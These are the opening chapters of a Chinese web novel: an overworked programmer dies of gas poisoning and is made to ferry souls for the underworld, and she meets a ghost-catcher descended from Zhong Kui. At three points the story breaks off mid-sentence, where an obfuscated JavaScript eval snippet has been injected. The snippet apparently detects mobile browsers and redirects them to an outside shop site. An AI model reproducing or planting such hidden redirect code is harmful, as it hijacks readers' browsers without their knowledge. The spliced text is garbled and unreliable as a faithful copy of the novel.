《灵魂引渡黑工记》 1. 死了 白心被一阵窸窣声吵醒。 睁开眼,月光洒满整间屋子,明亮又清冷。 她闭上眼,翻了个身,正要重进梦乡,耳旁一道声音却像一道惊雷把她炸醒:“你还要睡多久?” “啊!!!” 白心大叫一声,弹坐而起,借着月光,她看见两边的床头柜上一边蹲了一个“人”。 黑色的“人”哈哈大笑,笑完:“干嘛,没听说过黑白无常啊?” 啊? 白心错愕,听见另外一边白色的人说道:“你已经死了。” 黑色的人穿着一身黑袍,戴着一顶黑帽子,拿着一个平板开始报户口:“白心,女,25岁,死于煤气中毒,一生无大功,无大过,嗯……嗯?” 白色的人穿着一身白色西装,戴了一顶白色礼帽,叹了口气,说道:“你死得太早了,上辈子的债都还没还完。” 白心:……? 她死了?煤气中毒? 白无常盯着她的眼睛,语气里有股淡淡的无奈:“现在醒了么?” 黑无常抱着平板,惊叹道:“好家伙,功德-99999,她这是恶鬼转世啊。” 白心满头问号,终于开口:“……我死了?” 她向下看,自己的身体还躺在床上。低头一看,浑身已是半透明的状态。 白无常点头:“是,你死了,但你还不能转世投胎。” 她开始回忆:她忙了一整天,下班还要参加公司团建,回来的时候头昏脑胀,洗了个澡直接就睡了,应该是加班太累,煤气没关,然后泄漏了…… 白心:“……为什么?” 黑无常的手指开始在屏幕上戳戳点点,边戳边说:“你的功德数值太低,轮回系统都给干爆了。” 白心:…… 白无常替黑无常解释道:“你上辈子的债还没还完,这辈子又早死,所以暂时还投不了胎。” 上辈子的债?和她这辈子有什么关系?凭什么让她这辈子还? 白无常语气毫无波澜,继续说道:“你本应该在人间待满八十年才算还完债,但因意外身亡无法积攒功德,已经低于轮回系统的最低功德数值了。” 换言之,功德低到连胎都投不了,甚至还倒欠。 黑无常补充:“连地狱道都收不了你。” 白心想,我单亲家庭、母亲早年身亡、从小寄人篱下、每天打工十几个小时、吃拼好饭、一辈子买不起房、现在还英年早逝……这还不够惨?要怎样才算还完债?还要这样悲惨生活到八十岁? 白心绝望问道:“我上辈子干啥了要还这么多债?杀人还是叛国了?” 黑无常摇摇头,关掉平板重启:“这就不在我们职责范围内了,我们只负责回收亡魂。” 白心提出质疑:“那我这辈子怎么来的?既然上辈子做了恶事,这辈子应该也投不了胎吧?” 黑无常捏着下巴,眯着眼睛思索道:“谁知道你是不是恶鬼偷渡来人间的?” 白无常:“系统出BUG也是常有的事。” 白心:“……” 这真是投胎有路她走不了,地狱无门也闯不进,白心无语道:“……那现在怎么办?” 总得给她个解决方法吧,她作为外包程序员debug了一辈子,第一次成为bug本身,还不知道地府科技发展到什么程度了,万一她这个bug几万年d不掉,那她岂不是成孤魂野鬼了。 黑无常伸出手指冲她比了个耶:“两个选择,一是留在人间做游魂,永世不得超生。” 白心:“那二呢?” “给地府打工。” “啊?” 黑无常收回手指,双手抱膝:“地府现在也有很多打工人,没到投胎时间的都能去打工,顺便给自己积点阴德,增加下辈子投好胎的几率。” 白无常点点头,说道:“现在下面的人手也比较紧缺,所以也有很多阳间的人晚上来下面兼职。” 白心毫不犹豫:“我选二。” 她咬咬牙,不就是打工吗?这事她擅长。更何况给地府打工还能积阴德,这不比人间强多了?在人间打工不仅损阳寿,还缺德。 白心的眼睛亮起来,充满斗志:“我要怎么做?” 白无常跳下床头柜,整理了一下西装衣领,站得笔挺,宣布道:“由于你功德太低,现被限制投胎,需在人间停留七七四十九天,帮助地府引渡亡魂,由此积攒功德,完成任务后方可投胎转世。” 他面无表情,继续道:“这四十九天你有肉身支配权,白天还是正常人类,晚上你的魂魄会出体去完成任务。” 白心:……? 不是做做表格、整理文件、民意调查之类的打工吗?再不济她也可以去砍柴挑水、洗衣做饭,甚至让她去拉磨、挑粪都行…… 引渡亡魂是什么鬼? 白心:“引渡亡魂不是你们的工作吗?为什么让我来?” 白无常看着她:“人间的亡魂太多,我们收不过来。” 黑无常嘿嘿一笑:“而且有些亡魂不愿意投胎,你的任务就是带他们去投胎转世。” 白心疑惑道:“不愿意不投不就行了?干嘛要带他们转世?” 白无常和黑无常:“……” 白心多年社畜的敏锐直觉一下击中她,恍然大悟道:“你们也有KPI,对不对?” 黑无常满脸黑线:“知道就好,别说出来。” 白心:“……还有其他帮忙引渡亡魂的人吗?” 白无常:“有,根据个人资质和功德高低等会划分相应区域和任务难度。” 黑无常拿着平板,翻了好几页:“额……” 白心:“咋了?” 黑无常尬笑一声,说道:“没有比你功德更低的了,所以你只能捡别人不要的亡魂收,不过离你都不远。” 白心:“……那任务难吗?” 白无常冷漠回应:“不简单。” 白心扶额,内心深深叹了口气。白天在公司帮别人收拾烂摊子,晚上还得帮别人收不要的亡魂,她是什么垃圾回收站吗? 她抱着一丝侥幸心理问道:“可以给点简单的任务吗?” 黑无常狡黠一笑,像只狐狸:“我们说了不算。” 又说:“你都是鬼了,还怕什么?” 我害怕鬼,但鬼未伤我分毫。白心突然想起这句歌词,但她现在不敢确定了,同为鬼魂,她会不会被“同类”所伤。 白心:“那我要……怎么收呢?” 她收过衣服、收过垃圾、转转收过二手机、甚至帮楼下流浪汉收过矿泉水瓶,就是没收过鬼魂,不知道这行有没有什么技术壁垒啊。 眨眼间,只见白无常掏出一个浑身泛着白光的东西,递到白心眼前:“以后这就是你的武器。” 武器成短棒形状,围着一圈白色羽毛,几近透明,散发着一股淡淡的光芒,几乎要与月光融为一体。白心接过武器,只感觉轻盈无比:“这是什么?” 有点儿像……鸡毛掸子? “哭丧棒和勾魂锁,”黑无常回答,“你可以随意切换武器形态。” 话音未落,白心手里的哭丧棒就变成了一个巨大的钩子,连着长长的链条,散发着黑色光芒。 她听说过,遇到某些“恶鬼”的时候,黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718938|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白无常就会使用哭丧棒和勾魂锁,强行带他们回地府。 黑无常伸出手指,一副指点江山的样子,说道:“这个哭丧棒啊,就是你遇到比较难缠的鬼的时候呢,敲他们的头……” “梆”的一声,黑无常的头发出清脆的回响。 白心举着变长的哭丧棒,神态无辜:“是这样用的吗?” 白无常轻笑一声,回答道:“是,对他们的头部进行敲打,鬼魂就会暂时失去意识。” “你!”黑无常抱着头,气得快要跳脚,“你竟然敢打我!” 白心看着白无常:“那他怎么还能说话?” 白无常不再笑,神态恢复如常:“我们有特殊身份,不会被武器所伤,包括你。” 白心“哦”了一声,明白这是系统自带外挂了,那她岂不是…… “那我也能上天入地、飞檐走壁、穿墙和瞬移了?”白心双眼发光,人为刀俎我为鱼肉了一辈子,第一次成为人上人,哦不,鬼上鬼,很难不得意忘形。 白无常点头:“理论上是这样,不过一切还要等你录入系统再说。” “什么系统?” 话音刚落,只听“咔擦”一声,黑无常抱着平板对着她的脸就来了张大头照,白心吓了一跳:“你干嘛?” 黑无常气还没消,抱着平板咬牙切齿道:“别以为临时工就没人管得了你了。” 哦,白心又明白了,这是给她办理入职证明呢,很快她也是地府工作人员其中一个了。 白无常问道:“勾魂锁,你不试一下吗?” 白心摇摇头,把武器放在床上,经过刚才的实验,她已经发现了这玩意儿并不难用,她决定等正式实战再用。 而且……她看着黑无常吹胡子瞪眼的表情,觉得做人,不对,做鬼还是厚道一些好。 黑无常黑着脸,仍然蹲在床头柜上,他从屁股后面掏出一个银光闪闪的东西,不情不愿似的递给白心:“给你。” 白心接过来:“这是…… 手铐?” 她没坐过牢,但也见过猪跑,这确实和人间的银手铐几乎别无二致。 白无常科普:“也是脚镣,跟勾魂锁一样可以一体两用,给鬼魂铐上之后我们就可以接引他们回地府。” 白心心中了然,等戴上这手铐,是非对错就不由你分说,全凭判官一纸判词了。 月光依然宁静柔和,白心看着床上的武器和手里的银色手铐,终于有种已死的实感。月光穿过了她的身体,然而再也没有一道影子作为她存在的证明。 白心看着床上的自己,脸色乌青,嘴唇毫无血色,倒是十分安详。 她听说过,不痛苦的死去其实是一种福报。 所以……她上辈子究竟干了什么,才让她死后都不得安宁,无法顺利转世投胎? 白无常开口:“好了,两天后我们会再过来一趟,你的任务也在两天后正式开始执行。” 黑无常跳下床头柜,没有了刚才的气焰,拍了拍她的肩膀,语重心长道:“加油吧。” 说罢,两鬼瞬间消失不见。 薄纱窗帘被风吹得掀起一角,白心转头看着窗外,明月高悬,万籁俱寂,好像这依然是普通的一个夜晚,黑白无常也从未来过。 她的猫跳上床,蹭了蹭她的身体,发现没有了温度,开始喵喵叫起来。 她的眼眶瞬间湿润,但她没有哭。她抬起透明的手,隔着空气摸了摸她的小猫。 ……还有四十九天。她想,还有四十九天,她一定会把一切都安排好。 小猫仿佛也感受到了她的抚摸,对着空气蹭了蹭她的手心。 “喵。” 2. 活了 一阵叮叮当当的声音响起。 白心把被子拉起来,盖住整个头,躲避噪音以及早已跑进她房间的阳光。 “你是猪啊!还不起床!” 一道女声从厨房破空传来,接着又是一阵叮铃咣当锅碗瓢盆碰撞的声音。 白心猛地掀开被子坐起来,大喊一声:“几点了!” 她一秒摸到手机,点亮屏幕:十点二十分。 完了,白心心里一沉,要迟到了。 她甩开手机,三下五除二套好衣服,从床上跳下来,直奔洗手间。 冷水浇到脸上她才想起来,今天好像是周六。 陈灵举着锅铲,端着一盘半糊半嫩的青椒炒蛋出来,边把菜放到餐桌上边唠叨:“十点了还不起,像什么样子。” 白心洗漱完毕,从洗手间出来,边把用完的洗脸巾捏成一团边说:“周末还不让人多睡会儿?你以为谁都像你老年人一样没觉睡。” “滚!”陈灵骂了一句,又钻进厨房。 白心把洗脸巾球扔进垃圾桶,靠在门框上双手抱胸,看着陈灵做菜。看着看着她脑袋又开始走神,忽然想起昨晚的黑白无常。 她赶忙低头,又摸了摸自己。 是实心的。 是做梦?她跑到床边,翻箱倒柜找了半天,也没找到昨晚黑白无常给她的武器和手铐。 她跪坐在床头柜前,正在愣神,就听见陈灵已经偃旗熄火,在餐桌旁叫她:“过来吃饭!” 白心把拉出来的抽屉推了进去,看着空荡荡的床头柜,想起黑无常那狡黠的笑容。 这梦也太真实了吧? 白心从地上起来,游魂一样挪到餐桌边坐下,看了一眼今天的菜:糊了的青椒炒蛋和一盘看不出内容的菜。 她拿起筷子,小心翼翼夹起一根不可名状之物,问道:“……这是?” “土豆炒香肠啊,”陈灵头也不抬,低头大口干饭,“看不出来吗?” 白心呵呵一笑,说恕我眼拙。 陈灵倒是吃得香甜,一碗饭下肚才想起来要说啥,她看着呆呆愣愣的白心,问道:“你昨晚干嘛了?屋里这么大的煤气味。” 白心没有胃口,两根筷子在碗里戳了半天也没动,正在发愣走神中,就听见陈灵这会心一问。 煤气味? “白心,女,25岁,死于煤气中毒……”黑无常的声音仿佛又在耳边响起,真实又清晰。 不是做梦。 白心猛地抬头看向陈灵,反问道:“煤气味?你闻到了?” 陈灵边盛饭边说:“对啊,一进门就闻到了,我才赶紧开窗通风,不然敢做饭啊。” 她把冒着热气的米饭放在桌子上,有点担忧地看着白心:“……你最近没有不开心吧?” 白心听到她这样问,才明白自己现在的表情一定很难看。她赶紧咧出一个笑容:“没有没有,怎么会呢。” 她知道陈灵怕她想不开。 “就是太累了,忘记关了。”白心实话实说。 陈灵没做声,把白心已经冷掉的饭拿过来倒进自己碗里,给她重新盛了一碗热腾腾的米饭,问道:“你今天……要去墓园吧?” “嗯。”白心接过米饭,夹了几筷子菜,终于开始扒饭。 “还是一个人去?”陈灵也开始扒饭,仿佛随意一问。 白心抬起头,把嘴里已经嚼了一半的花椒粒吐出来,回答道:“今天周末,舅舅他们要出门去旅游。” 陈灵冷笑一声,语气不快:“就知道,反正这十年他们去的次数一个巴掌都数得清。” 白心倒是无所谓,这么多年早已经习惯了,母亲死后,她在舅舅家住了六七年,一直到大学毕业开始工作才搬出去,无论怎么说,有舅舅帮忙她才不至于去睡大街。 手机叮咚一声,白心拿起来看,是舅舅发来的信息:心心,代我向你妈妈问个好。 附带两百块钱红包。 白心放下筷子,双手在键盘上打字如飞,熟练回应:“好的舅舅,红包我就不收了,你的心意我会替你转达。” 然后转了一千块钱过去。 陈灵在对面全程看她操作,气愤道:“你还转钱给他?” 白心放下手机,面不改色,继续吃饭。她夹了一片香肠,看到陈灵眉毛都要竖起来的样子,突然发笑:“我有时候感觉,你真不像一个快四十岁的人。” 陈灵愣了一下,问道:“什么意思?” 白心把香肠放进嘴里,边嚼边说:“你们中年人,不都是很油嘴滑舌,特别世故特别让人讨厌的吗?” 就像她舅舅。 陈灵白了她一眼,也伸筷子夹菜:“那也要看对谁,见人要说人话,见鬼才会说鬼话。” 白心咬着筷子,突然想起黑白无常,不自觉笑出了声,她倒真是觉得有的人说话还不如鬼呢。 “笑什么?”陈灵不明所以,看见白心笑得像个白痴。 “没什么,”白心放下筷子,终于吃完,“你今天还跟我去墓园吗?” 陈灵扒掉最后一口饭,回答道:“不去了,我上周已经去过了。” “嗯。”白心也没再多问,起身默默收拾碗筷。 陈灵也站起来帮忙收拾,边收边说:“我送你去吧,正好今天办事要路过那里。” 路个鬼的过,白心在心里吐槽,墓园那块鸟不拉屎的地方,除了殡葬一条龙,也就鬼会去那里办事了。 不过她明白陈灵的心意,还是乖乖回答:“那好吧。” 两人收拾一番,出门正好十二点。 白心看着头顶的烈日,心想我是真死了吗?这会儿正值酷暑,人都快要晒化了,甭说鬼了,再厉害的鬼也得晒成祖坟上的青烟。 不过她想起白无常说的,白天她有……肉身支配权?好像叫这个名字吧,总之白天应该和正常人没区别。 白心迅速钻进陈灵的车,打开空调散热,陈灵也钻进来坐好,白心边用手扇风边问:“你几点来我家的?” 陈灵松开刹车,边启动边看后视镜:“九点。” 白心“哦”了一声,正琢磨怎么问才能显得更自然,陈灵就问道:“为什么不关煤气?” 这是陈灵第二次问了。 看来她真的没关煤气。 白心从座位侧方掏出一瓶水,拧开喝了一口,状似随意地回答:“我是真的忘记了。” 天地良心,她真的不记得了。 就算生活再不如意,她也没想过自杀。就算前一天老板把她骂得狗血淋头,第二天她也能像什么都没发生一样去汇报工作,因为她早早就已领悟到生活的真谛:做人,拼的就是谁脸皮厚。 小时候同学嘲笑她没爸,她笑着说对啊,不像你家天天都有二手烟吸;初中因为不参加补习被班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718939|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主任冷言冷语,她面不改色装没事人继续上课;十五岁母亲离世她搬进舅舅家,她在没有窗户的小房间呼呼大睡,在因为家里突然多了一个人吃饭而对她发射明枪暗箭的表弟面前竖起一块刀枪不入的盾牌。 做人嘛,最重要的就是开心。这是白心活了二十五年最重要的人生心得,除了吃好睡好,其他任何需要操心的事都会让人短命。 白心想起她的母亲,一个操劳了一辈子的女人,脸上几乎没有笑容,还没来得及享福就死了。 现在她也早死了。空调的冷风吹到她的脸上,她突然觉得有点可笑,她跟她妈都是烂命一条。 陈灵听到她的回答没再说话,专心开车,总归是周末,就算是中午也堵车。 车头在斑马线前停下,一群牵着孩子的大人迅速走过,白心看着那些小孩,想起了什么似的看向陈灵。 陈灵朝前方看着,看不清表情。 白心把头转过来,不再看她,总提醒对方的伤心事实际上是一种冒犯。 一路飞驰,两人谁也没有再说话。 陈灵在墓园门口放下白心,就把车开到附近咖啡馆去喝咖啡了,白心也知道陈灵根本没啥事要办,纯粹就是来送她的。 认识三年,她早就习惯了陈灵嘴上一套实际行动另一套的行为,下车之后她对着车窗摆手,微笑着跟陈灵说拜拜: “等会儿我会给你打电话。” 陈灵油门一踩,只留下几片叶子在风中飞舞。 白心放下手,举着太阳伞转身,照例在墓园门口的小卖部买了一束康乃馨。 康乃馨,代表着母亲的温柔、慈爱和无私的爱,被视为母爱的象征。 她抱着一束小小的粉色康乃馨,行走在寂静的墓园里。园里也有一些过来祭奠的人,都站在故人的墓碑前,或平静、或悲恸。 白心找到母亲的碑,把花在墓碑前放好,跪在地上磕了三个头。 她站起来,看见母亲的黑白照片,十年如一日,仍是年轻的模样。墓碑前放着之前她带过来的花,早已枯萎干瘪,呈油尽灯枯之状。 她周围有人开始小声哭泣,有人则开始嚎啕大哭,大大小小的哭声一时间环绕着她。 她没有哭,亦如十年前的今天。十五岁的她在哭得一塌糊涂的舅舅舅妈和其他亲戚之中异常冷静,一如十年后的今天。 “喂,”身后传来一道声音,“你咋不哭啊?” 白心回头,看见一人坐在离她五六米远的树上,正歪着头饶有兴致地看着她。 那人从树上跳下来,轻盈得像一只猫,她一秒站定,靠在树干上看着白心:“你叫什么名字?” 白心:你这么说话没有被人打过吗? 在别人的墓碑前问家属为什么不哭,跟在她和老板面前问她为什么工资这么低的人有什么区别?白心嘴角微微抽搐,心说这墓园不止有高智商的鬼,还有低情商的神。 “我叫钟槐。”那人朝白心走了过来,高高的马尾一甩一甩。 白心莫名其妙,但还是保持基本礼仪,回应道:“你……你好,我叫白心。” “白心?”钟槐在她面前站定,眼珠子一转,想了半天才说,“你不应该出现在这里啊。” 白心:……? 什么意思? 钟槐的大眼睛眨巴眨巴,口吻还带着一丝少女的天真:“你不是已经死了吗?” 3. 捉鬼师 白心瞳孔地震,低声喝道:“你说什么!不要胡说!” 心里却是一惊,这是真碰到神了,还是遇到鬼了啊? 不应该啊,白心打着太阳伞都觉得晒,这要是鬼早该晒得魂飞魄散七窍生烟了,难不成真是神啊? “敢、敢问阁下是?”白心不敢妄言,生怕触怒神威。 钟槐却一把把她拉到树底下,让树荫遮住她俩,对着仍在震惊中的白心说道:“又是黑白无常搞的鬼,是不是?” “什么?”白心没反应过来。 钟槐双手叉腰,自顾自开始说起来:“这两个懒鬼,我迟早要告诉阎王姐姐。” 阎王……姐姐?白心晕了,第一次觉得这两个词语组合起来如此惊悚。 “我是天师的后代,”钟槐终于开始自我介绍,“我也不知道多少代了,总之目前我是最后一代,我可以在阴阳两界自由穿行。” 天师……白心愣了一下,心想莫不是…… “……钟馗?” “对!”钟槐打了个响指,表示赞许,“你下去之后就能见到他了。” 还真是钟馗。白心看着眼前的少女,起码一米七五的个子,体态很好,五官端正,虽然还没完全长开,眉宇间仍然透露出一股英气。 和她祖宗还真有点像。白心想起之前在舅舅家看到的钟馗画像,甭说鬼了,人看了都害怕。 不过她可不敢见他……白心想,人家那是捉邪祟和恶鬼的,见到他能有啥好下场。 但黑白无常说她可能是恶鬼,白心看着钟槐,心说这人不会是来捉她的吧? 钟槐却继续问道:“你要在人间停留多久?” 白心老实回答:“四十九天。” 又补充道:“黑白无常说的,我要在人间待满四十九天,帮忙引渡亡魂,才能投胎转世。” 钟槐点点头,围着她转了两圈,将她上上下下打量了一番,说道:“资质不错,怪不得黑白无常要留你。” 是吗?白心听到钟槐的肯定,得意了一秒,却突然发现不对:“留我?他们说我上辈子是恶鬼,这辈子功德太低,没办法投胎啊。” 钟槐双手抱胸,像只小狐狸一样笑了:“你确实没办法投胎,但你也不是恶鬼,我看得出来。” 啊?白心没想到还有这一出,怎么地府的人也骗人啊? 钟槐继续揭露罪行:“功德计算方法很复杂的,估计他们懒得跟你解释才说你是恶鬼了,总之就是想骗你去帮他们打工。” 钟槐看她一脸懵,问道:“看你也不像没上过班的样子,怎么连这点套路都不懂啊?” 白心无语,心说千算万算谁也算不到鬼会骗人啊,这真是见鬼说鬼话了。 钟槐看白心一脸苦相,轻笑一声,拍了拍她的肩膀:“好啦,他们也不止这一次了,正好你还没到投胎时间,去打打工也能积点德。” 白心一副“那我还能怎么办呢”的表情看着钟槐,问道:“那你是来做什么的?” 不是来抓她的,总不可能大白天来墓园里捉鬼吧。 “上班啊,”钟槐往后一靠,又靠在了树干上,“我是这个墓园的工作人员。” 钟槐撩了下刘海,微微一笑:“也就是看坟的。” 白心惊了,这人看着顶多也就十八岁,怎么这么早就出来打工了? 钟槐仿佛知道她在想什么,解释道:“我十九了,人间这些工作都不太适合我,我又不爱读书,想来想去还是看坟最合适。” 看来人间的工作是人是鬼都做不下去,白心会心一笑,继续问道:“那你到底是人还是鬼啊?” 钟槐也笑了:“每个碰到我的鬼都这么问,不过一般的鬼没有机会听到我的回答。” 白心不解,啥叫一般的鬼? 钟槐解释:“我跟黑白无常他们不一样,我只捉恶鬼。” 她继续说:“你听说过阴阳眼吗?其实就是人间有特殊能力的人,很多神婆都有,我跟她们差不多,只是去阴间不受阻挠而已。” 白心点点头,怪不得呢,她一眼就看出来她不是人了。 钟槐继续说:“我跟你一样,又当人又做鬼,白天守墓,晚上捉鬼,不同的是我还活着,而你,已经死了。” 钟槐看着她,眼底情绪不明。 白心却没有看她,还沉浸在钟槐刚刚那番话里,心想地府这是有多缺人啊?怎么连天师后人都得打两份工? 而且,她到底有什么不一般的地方啊? 钟槐掏出手机,点开一个二维码伸到白心眼前:“来,加个好友。” 白心乱七八糟的思绪被打断,看着那个略显幼稚的库洛米头像,有点哭笑不得:“我都快死了,不对,我都快投胎了,你加我干啥?” 然而她还是掏出了手机,准备加上钟槐。 “多个朋友多条路嘛,”钟槐笑得天真烂漫,“说不定我遇到什么危险,你还能来救我呢。” 白心:……这妹妹眼睛怎么时好时坏的,她看起来像是会武功的样子吗? “不对。”说罢,钟槐像突然想起了什么似的,又把手机收了回去。 白心刚打开扫一扫,二维码就消失不见,她疑惑道:“怎么了?” “你没有编制吧?”钟槐问道。 白心点头:“我不是公务员。” 难不成有什么说法,白心想,难道唯物主义战士不能加她好友? 钟槐翻了个白眼:“我是说地府编制!” 白心恍然大悟,被自己的想法逗乐了,她笑了,露出两颗尖尖的虎牙:“还没有,但是黑无常给我拍了照,应该很快就好了吧。” 钟槐点头,把手机揣回兜里:“那应该快了,到时候他们会发工作机给你,上面有所有捉鬼师和引渡人的联系方式。” 捉鬼师和引渡人? 钟槐看白心又是一脸懵,自觉科普之路任重道远,说道:“捉鬼师就是我,引渡人就是你。” 白心明白了,就是给地府打工的牛马呗。跟人间一样,起一些莫名其妙的花名,实际上就是打工,地府现在竟然还有工作机发,她不敢想,是不是上面也有一个叫钉钉的软件。 手机突然一阵震动,白心拿起来一看,是陈灵。 “喂?” “你结束了没?”陈灵在电话那头问。 白心看了眼时间,竟然不知不觉到了三点,她看着钟槐,回答道:“我弄完了,你在门口等我一下。” 挂完电话,白心把手机放进口袋,对着钟槐说:“我要走了。” 钟槐点点头,说道:“再见。” 说完,突然想起什么:“拿到了工作机记得加我好友。” 白心笑了一下,说:“会的。” 白心举着太阳伞转身,钟槐一路目送她出墓园,末了,长长地叹了口气。 …… 陈灵戴着墨镜,把车停在墓园大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718940|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门对面的马路上,靠在车门上看见白心从大门走出来。 一米六的个子,瘦瘦小小,皮肤不是嫩白而是气血不足的惨白,仿佛小时候营养不良亏空太多,长大再怎么补也补不回来。 白心迎着陈灵的视线一路走过来,在车门前站定,把伞举到陈灵头上:“怎么不打伞?” 陈灵笑了笑,转身拉开车门:“在空调房坐了三小时,人都要冻成冰块了。” 白心也绕过车头,收伞,拉开车门钻进车里。 “今天怎么去了这么久?”陈灵边开车边问。 白心想起钟槐,笑了笑:“遇到守墓的了,和她聊了聊。” 陈灵挑了挑眉,问道:“是不是一个小姑娘,看起来没多大?” 白心转头看她:“对啊,你认识?” 陈灵轻笑一声,回答:“她上次胡言乱语,我俩差点打起来。” 白心:? “她说什么了?” 陈灵面色不快,似乎不想回答,半晌,才开口:“她说我的孩子已经转世投胎,不必再来祭奠了。” 白心差点笑出声,心说这个钟槐真是全方位的胆子大,不怕人不怕鬼,连随时会暴怒的母老虎也不怕。 白心:“这不是好事吗,你为啥生气?” 陈灵沉默了一会儿,才说:“是不是我这个母亲做的太差了,她才不愿意再投胎做我的孩子。” 白心很少见到跟她掏心掏肺的陈灵,听见这话一时半会儿也不知道该说什么了。而且还是母女关系这个令很多人都感到棘手的问题。 她也沉默,片刻之后转移话题:“如果我死了,你会来祭奠我吗?” 陈灵愣了一瞬,生气地说道:“呸呸呸,你这小孩,乱说什么!” 白心把头转过去看着窗外,想说我已经不是小孩了,我也没有乱说。 然而她什么也没有说。 陈灵只当她是脑子抽筋说的胡话,没再搭理她,车内气氛很快又变得沉默,两人一路无言,很快就到家了。 白心关上车门,隔着车窗对陈灵挥了挥手,说道:“明天,不对,后天见。” 陈灵摇下车窗,叮嘱道:“我出差两天你自己照顾好自己,少点外卖。” 白心点点头,知道又免不了一顿说教,赶紧转身打算走,陈灵却又叫了她一声。 白心只好转身,和陈灵大眼瞪小眼。 陈灵的表情难得柔和:“你……别用煤气了,点外卖就点外卖吧,有什么事随时跟我打电话。” 白心没想到陈灵说这个,愣了一下,然后笑着回答:“知道了,别瞎担心,快走吧。” 陈灵点点头,关上车窗,踩着油门驶出了小区。 白心目送她出小区,才打着太阳伞回家。 躺在床上,空气中还是有股淡淡的煤气味。白心想起陈灵的叮嘱,想起来再检查一下阀门,然而她突然想到自己已经死了,煤气泄漏与否已经不重要了。 不重要了。白心看着天花板,人死了就什么都不重要了。 死亡带来的感伤此刻终于反扑过来,白心翻身侧躺,蜷缩成一团。 她的生活很沉重,可是她的灵魂却很轻,她想起昨夜穿过她身体的月光,突然觉得哪怕灵魂这么轻,她的生命也难以承受。 人死了为什么不能一了百了?为什么还要有轮回转世? 白心把头埋进膝盖里,终于感觉到一股深深的疲惫。 4. 入职 醒来已经是深夜。 白心刚睁开眼,就看到一道黑影闪过。 “谁?!”白心猛地坐起,和前一天如出一辙。 黑无常又蹲在她的床头柜上,他左手托着脸颊,无奈道:“你怎么老一惊一乍的,每次来都被你吓一跳。” 白心看着他的脸,捂着胸口惊魂未定:“下次来不能提前打个招呼吗?” 白无常今天倒是没蹲了,在另一侧床头柜旁站得笔直,似有偶像包袱一般抱着平板,清了清嗓子:“今天进行入职培训。” 白心看了一眼手机,抬头:“不是说两天吗?怎么提前了。” 她周五死的,现在才周六,按照约定黑白无常应该在周日的晚上来才对。 黑无常抠着指甲,叹了口气,回答道:“没办法啊,鬼节快到了,老板催呢。” 白心:“催什么?” 白无常手指依然在平板上划动,眼皮也不抬地回答道:“等鬼节鬼门大开,人间的秩序就会混乱,为了防止有些鬼魂浑水摸鱼、妨碍公务,我们必须加快抓捕速度。” ……能不能先把我抓走?白心无力吐槽,在人间忙完618还要来阴间忙鬼节,黑奴也没这么惨吧? 她突然想起钟槐说的那些话,抬起头直视黑无常的眼睛:“你们不会是人,不对,鬼贩子吧?” 钟槐说黑白无常经常骗鬼去打工,已经是惯犯了,她今天必须要问个清楚。 白无常突然轻笑一声,在一旁回答道:“骗你我们有什么好处?” 黑无常也附和道:“对啊,我们巴不得你赶紧去投胎呢,谁叫你自己不好好积德导致投不了胎,我们还觉得头疼呢。” 白无常淡淡说道:“你知道接一个你这样的人回地府我们有多少钱吗?” 黑无常伸出两根手指:“整整二十万冥币!” 哈?白心惊了,她就这么值钱?就因为她功德太低,罪大恶极? 白心提问:“那我给地府打工也有钱发吗?” 黑无常摇摇头:“只能积攒功德,但是……” 白无常打断他的话:“所以,你以为我们为什么放着钱不赚?” 白心听完这几番话,心里又凉了。对啊,有钱不赚王八蛋,迟迟不投胎对黑白无常确实没什么好处,以结果为导向的话她越早进地府排队投胎对他俩来说越好,何必让她在人间停留这么久。 看来她这bug是真卡住了,这工也是非打不可了。 她之前还窃喜呢,现在一想,在人间打工还有工资拿,在阴间打工啥都没有,只能积德,这功德能拿来吃喝玩乐吗? 关键她开局就天崩,直接负债十万,这得还到什么时候?进一步讲,就算还完了,一上奈何桥喝下孟婆汤,记忆就自动清零了,她下辈子根本不记得这辈子的事。 这买卖怎么好像不划算啊?! 没有工资,只有功德,没有小费,只有大饼,这跟黑工有什么区别? 黑无常见白心黑着个脸,呲出一排洁白的牙花:“人间加班有三倍工资,阴间加班可是有三倍功德哦,说不定你还能给你祖宗积点德。” 白无常点头:“大型节假日加班,功德确实可以三倍。” 白心:……好纯正的地狱笑话。 她黑着一张脸,根本笑不出来,然而白无常却举起平板“咔擦”一声,给她拍了张照片。 他的手指在屏幕上飞舞,片刻,终于举起平板给白心看:“你的帐号注册好了。” 白心一看,自己的头像正是刚刚那张充满怨气的表情。 怎么头像还要实名制啊!白心想起钟槐的库洛米头像,问道:“就不能自己选头像吗?” 